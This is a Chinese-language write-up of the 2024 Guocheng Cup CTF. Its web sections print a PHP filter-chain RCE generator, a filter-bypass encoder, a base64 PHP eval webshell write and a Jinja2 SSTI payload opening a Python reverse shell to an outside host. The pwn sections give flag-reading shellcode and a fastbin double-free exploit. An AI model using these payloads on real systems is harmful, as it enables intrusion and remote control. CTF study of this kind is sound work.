2024 国城杯 WriteUp
字数 1236 2025-08-22 18:37:15
国城杯CTF WriteUp 技术解析与教学文档
1. Web Signal 题目解析
1.1 初始信息收集
- 使用dirsearch扫描发现
.index.php.swp文件 - 从swp文件中获取账号密码:
guest:MyF3iend
1.2 漏洞利用过程
-
任意文件读取漏洞:
- 登录后访问guest.php存在任意文件读取
- 使用二次编码绕过过滤读取源码:
/guest.php?path=php://filter/conv%2565rt.bas%256564-encode/resource=/var/www/html/guest.php
-
源码分析:
<?php session_start(); error_reporting(0); if($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'guest') { $_SESSION['error'] = 'Please fill in the username and password'; header('Location: index.php'); exit(); } if(!isset($_GET['path'])) { header("Location: /guest.php?path=/tmp/hello.php"); exit; } $path = $_GET['path']; if(preg_match('/php:\/\/tmp|string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|\_)/i', $path)) { echo "Don't do this"; } else { include($path); } ?> -
Filter Chain RCE利用:
- 使用filter chain技术绕过过滤执行代码
- 关键payload生成代码:
<?php $base64_payload = "PD89YCRfUE9TVFsxXWA7Pz4="; $conversions = array( '/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4', // 其他字符转换规则... ); // 生成filter chain $filters = "convert.base64-encode|"; $filters .= "convert.iconv.UTF8.UTF7|"; foreach(str_split(strrev($base64_payload)) as $c) { $filters .= $conversions[$c]."|"; $filters .= "convert.base64-decode|"; $filters .= "convert.base64-encode|"; $filters .= "convert.iconv.UTF8.UTF7|"; } $filters .= "convert.base64-decode"; $final_payload = "php://filter/{$filters}/resource=index.php"; echo $final_payload; -
二次编码绕过:
- 对关键字符进行二次编码绕过过滤
- Python实现:
text = 'php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|...' a = "string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|_|ve|se" a = a.split('|') for i in a: tmp = i[0] tmp = hex(ord(tmp))[2:] tmp = '%25' + tmp + i[1:] if i in text: text = text.replace(i, tmp) print(text) -
最终RCE:
- 写入webshell:
1=echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOzs/Pg==|base64 -d>/var/www/html/1.php
1.3 权限提升
- 查找SUID权限文件:
find / -perm -4000 - 发现sudo可免密执行:
sudo /bin/cat /tmp/whereflag/* - 使用路径遍历读取flag:
sudo /bin/cat /tmp/whereflag/root/flag
2. Ez_Gallery 题目解析
2.1 初始访问
- 弱密码登录:
admin/123456
2.2 任意文件读取
- 读取源码:
/info?file=/app/app.py - 关键SSTI漏洞代码:
def shell_view(request):
if request.session.get('username') != 'admin':
return Response("请先登录", status=403)
expression = request.GET.get('shellcmd', '')
blacklist_patterns = [
r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\..*',
r'.*soft.*', r'.*%.*'
]
if any(re.search(pattern, expression) for pattern in blacklist_patterns):
return Response('wafwafwaf')
try:
result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
if result != None:
return Response('success')
else:
return Response('error')
except Exception as e:
return Response('error')
2.3 SSTI利用
- 绕过过滤执行反弹shell:
/shell?shellcmd={{lipsum['__globals__']['__builtins__']['exec'](request['params']['shell'])}}&shell=import socket,subprocess,os%0as=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0as.connect(("[ip]",2333))%0aos.dup2(s.fileno(),0)%0aos.dup2(s.fileno(),1)%0aos.dup2(s.fileno(),2)%0ap=subprocess.call(["/bin/sh","-i"])
3. Crypto Curve 题目解析
3.1 解题脚本
from Crypto.Util.number import *
p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 7
c = 1
e = 0x10001
eG = (34120664973166619886120801966861368419497948422807175421202190709822232354059, 11301243831592615312624457443883283529467532390028216735072818875052648928463)
# part2 map to ECC
F = GF(p)
dd = F(d*c^4)
A = F(2)*F(a+dd)/F(a-dd)
B = F(4)/F(a-dd)
a = F(3-A^2)/F(3*B^2)
b = F(2*A^3-9*A)/F(27*B^3)
def edwards_to_ECC(x, y):
x1 = F(x)/F(c)
y1 = F(y)/F(c)
x2 = F(1+y1)/F(1-y1)
y2 = F(x2)/F(x1)
x3 = (F(3*x2)+F(A))/F(3*B)
y3 = F(y2)/F(B)
return (x3, y3)
def ECC_to_edwards(x, y):
x2 = (F(x)*F(3*B)-F(A))/F(3)
y2 = F(y)*F(B)
x1 = F(x2)/F(y2)
y1 = F(1)-(F(2)/F(x2+1))
x_ = F(x1)*F(c)
y_ = F(y1)*F(c)
return (x_, y_)
E = EllipticCurve(GF(p), [a, b])
order = E.order()
eG = E(edwards_to_ECC(eG[0], eG[1]))
t = inverse(e, order)
G = t*eG
G = ECC_to_edwards(G[0], G[1])
print(long_to_bytes(int(G[0])))
# b'D0g3xGC{SOlvE_The_Edcurv3}'
4. babyRSA 题目解析
4.1 已知e和d求p和q
from Crypto.Util.number import *
import random
import gmpy2
def getpq(n, e, d):
p = 1
q = 1
while p == 1 and q == 1:
k = d * e - 1
g = random.randint(0, n)
while p == 1 and q == 1 and k % 2 == 0:
k //= 2
y = pow(g, k, n)
if y != 1 and GCD(y-1, n) > 1:
p = GCD(y-1, n)
q = n // p
p = p // q
return p, q
p, q = getpq(n, n, d)
key = inverse(n, (p-1)*(q-1))
pq = GCD(pow(2, n*key, n)-2, n)
print(long_to_bytes(pow(c, key, pq)))
# b'D0g3xGC{W1sh_Y0u_Go0d_L@ucK-111}'
5. Misc eZ_Steg0 题目解析
5.1 解题步骤
- 从01.png提取像素数据:
from PIL import Image
image = Image.open('01.png')
pixels = image.load()
width, height = image.size
data = ''
for y in range(height):
for x in range(width):
if pixels[x, y] == 0:
data += '0'
else:
data += '1'
image.close()
print(data)
-
使用赛博厨子工具生成图片,得到压缩包密码:
!!SUp3RP422W0RD^/??.&& -
解压后从key文件头部提取base64数据
-
删除头部base64后保存为.stl文件,打开获取key:
sSeCre7KeY?!!@$ -
使用key与flag文件异或:
key = b'sSeCre7KeY?!!@$'
data = open('flag', 'rb').read()
new_data = []
for i in range(len(data)):
new_data += [data[i] ^ key[i % len(key)]]
new_data = bytes(new_data)
open('new_flag.wav', 'wb').write(new_data)
- 从音频文件LSB中提取flag:
D0g3xGC{U_4rE_4_WhI2_4t_Ste9An09r4pHY}
6. Tr4ffIc_w1th_Ste90 题目解析
6.1 解题步骤
-
流量分析找到视频数据(MKV格式)
-
导出视频获取压缩包密码
-
解密图片:
import numpy as np
import cv2
import sys
import random
def decode(input_image, output_image_prefix, seed):
np.random.seed(seed)
encoded_image = cv2.imread(input_image)
encoded_array = np.asarray(encoded_image)
row_num = encoded_array.shape[0]
col_num = encoded_array.shape[1]
original_row_indices = list(range(row_num))
original_col_indices = list(range(col_num))
np.random.shuffle(original_row_indices)
np.random.shuffle(original_col_indices)
reversed_row_order = np.argsort(original_row_indices)
restored_array = encoded_array[reversed_row_order, :]
reversed_col_order = np.argsort(original_col_indices)
restored_array = restored_array[:, reversed_col_order]
output_image = f"{output_image_prefix}_{seed}.png"
cv2.imwrite(output_image, restored_array)
for seed in range(50, 71):
decode('encoded.png', 'decoded', seed)
-
扫描二维码获取单词列表
-
使用PGP单词表转换单词为HEX:
44 30 67 33 78 47 43 7B 43 30 4E 39 72 41 37 55 4C 61 37 31 30 6E 35 5F 59 30 55 5F 48 61 56 33 5F 41 43 48 31 33 56 33 44 5F 37 48 31 35 5F 39 30 61 4C 7D
- HEX转ASCII得到flag
7. Pwn Alpha_Shell 题目解析
7.1 检查保护
checksec pwn
[*] '/home/ubuntu/CTF/PWN/CTF赛/国城杯2024/Alpha_Shell/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
7.2 沙箱限制
仅允许以下系统调用:
- read, write, open, readv, writev, execve, execveat
7.3 Shellcode利用
使用openat+sendfile组合:
shellcode = '''
mov rax, 0x67616c662f2e ;// ./flag
push rax
mov rdi, -100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat ;// SYS_openat
pop rax
syscall
mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile ;// SYS_sendfile
pop rax
syscall
'''
8. vtable_hijack 题目解析
8.1 环境信息
- libc版本:2.23
- 保护:Full RELRO, Canary, NX, PIE
8.2 利用步骤
- 泄露libc地址
add_chunk(0, 0x200)
add_chunk(1, 0x200)
delete_chunk(0)
show_chunk(0)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x39bb78
- Fastbin Double Free攻击
add_chunk(0, 0x68)
add_chunk(1, 0x68)
delete_chunk(0)
delete_chunk(1)
delete_chunk(0)
add_chunk(0, 0x68)
edit_chunk(0, p64(libc.sym['__malloc_hook'] - 0x23))
add_chunk(0, 0x68)
add_chunk(0, 0x68)
add_chunk(0, 0x68)
one_gadget = libc.address + [0x3f3e6, 0x3f43a, 0xd5c07][2]
edit_chunk(0, '\x00'*0x13 + p64(one_gadget))
add_chunk(0, 0x1000)